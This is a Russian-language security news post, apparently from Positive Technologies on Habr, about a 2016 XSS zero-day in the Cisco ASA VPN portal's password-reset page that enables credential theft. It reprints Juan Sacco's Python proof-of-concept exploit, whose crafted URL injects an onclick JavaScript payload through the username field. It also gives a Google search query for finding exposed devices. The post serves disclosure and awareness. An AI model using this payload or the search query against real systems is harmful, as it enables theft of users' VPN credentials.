XSS-уязвимость нулевого дня позволяет похищать учетные данные пользователей Cisco ASA



    В начале февраля 2016 года в сеть попала информация о критической уязвимости межсетевых экранов Cisco ASA, которая позволяет злоумышленникам осуществлять удаленное выполнение кода. Спустя несколько дней после ее исправления, в этом продукте была обнаружена еще одна серьезная ошибка безопасности.

    17 февраля исследователь Хуан Сакко опубликовал информацию об уязвимости нулевого дня, с помощью которой, при определенных обстоятельствах, злоумышленник может похитить учетные данные пользователя устройства.

    XSS-уязвимость содержится на странице восстановления пароля VPN-портала Cisco ASA. Кража учетных данных пользователей возможна из-за некорректной работы механизма фильтрации полей ввода в форме восстановления пароля (подробнее об уязвимостях этого типа на Хабре уже писали).

    Для успешной эксплуатации уязвимости в скрытых полях ввода необходимо, чтобы пользователь Cisco ASA с помощью браузера FireFox перешел по специально сгенерированной злоумышленником ссылке на страницу восстановления пароля VPN-портала (в Chrome эксплуатировать ошибку не удастся) и использовал на ней комбинацию клавиш Alt + Shift + X.

    Хуан Сакко опубликовал PoC-эксплоит, демонстрирующий эксплуатацию данной уязвимости:

    import string, sys
    import socket, httplib
    import telnetlib
    
    def run():
       try:
        Target = sys.argv[1]
        Port = int(sys.argv[2])
        # Here goes your custom JS agent code
        Payload = "alert(1)"
        VulnerableURL ="/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=&status=0&username=juansacco%22%20accesskey%3dX%20onclick%3d"+ Payload + "%20sacco&password_min=0&state=&tgroup=&serverType=0&password_"
        CraftedRequest = VulnerableURL
        # Start the connection
        connection = httplib.HTTPSConnection(Target)
        connection.request('GET', CraftedRequest)
        Response = connection.getresponse()
        print "Server status response:", Response.status, Response.reason
        data =  Response.read()
        vulnerable = "Target is not vulnerable"
        for line in str(data).splitlines():
           if "juansacco\\\"" in line:
             vulnerable = "Targer is vulnerable"
        if vulnerable != "Not vulnerable":
          print "Result of the test:", vulnerable
        # Find the injection on the response
        connection.close()
       except Exception,e:
          print "Exploit connection closed " + str(e)
    
    if __name__ == '__main__':
       print "Cisco VPN ASA Exploit - Zero Day"
       print "################################"
       print "Author: Juan Sacco - jsacco@exploitpack.com"
    
       try:
         Target = sys.argv[1]
         Port = sys.argv[2]
       except IndexError:
         pass
    

    Как выяснилось впоследствии представленный код содержал опечатки в коде, а в URL не хватало пробела. После исправления этих недочетов становится возможна эксплуатация уязвимости:





    В комментариях к эксплоиту Сакко отмечает, что передал информацию об уязвимости представителям Cisco 4 февраля 2016 года, после публикации соответствующей CVE, 16 числа исследователь распространил информацию об ошибке вместе с эксплоитом.

    Кроме того, Сакко приводит ссылку для поиска уязвимых устройств Cisco ASA с помощью Google — www.google.nl/#safe=off&q=+%2F%2BCSCOE%2B%2F. По его словам поисковик выдает по этому запросу более 18 тысяч ссылок (в настоящий момент — более 24 тысяч).

    Найти уязвимые устройства можно также с помощью поисковых систем Shodan и Censys. Специалистам Positive Technologies удалось с их помощью обнаружить более 170 тысяч уязвимых устройств Cisco ASA, более трех тысяч из которых расположены в России.





    Для обнаружения описанной Хуаном Сакко уязвимости эксперты Positive Technologies рекомендуют использовать специализированные инструменты защиты — например, систему контроля защищенности и соответствия стандартам MaxPatrol 8.

    На протяжении последнего времени исследователи безопасности находили уязвимости не только в продуктах Cisco. К примеру, в конце декабря 2015 года в прессу попала информация о бэкдоре в межсетевых экранах Juniper. Кроме того, в центре скандала оказалась компания-производитель средств защиты Fortinet — в ее продуктах были обнаружены зашитые пароли для удаленного доступа.
    Positive Technologies
    Company

    Comments 2

      0
      Не понял… Это новая уязвимость, которая не включена в версии, выпущенные 10 февраля или нет?
        +1
        Судя по ссылкам в статье, это всё то же переполнение буфера.
        Да и не было, вроде, у сиско новых публикаций уязвимостей (если не считать glibc) после той

      Only users with full accounts can post comments. Log in, please.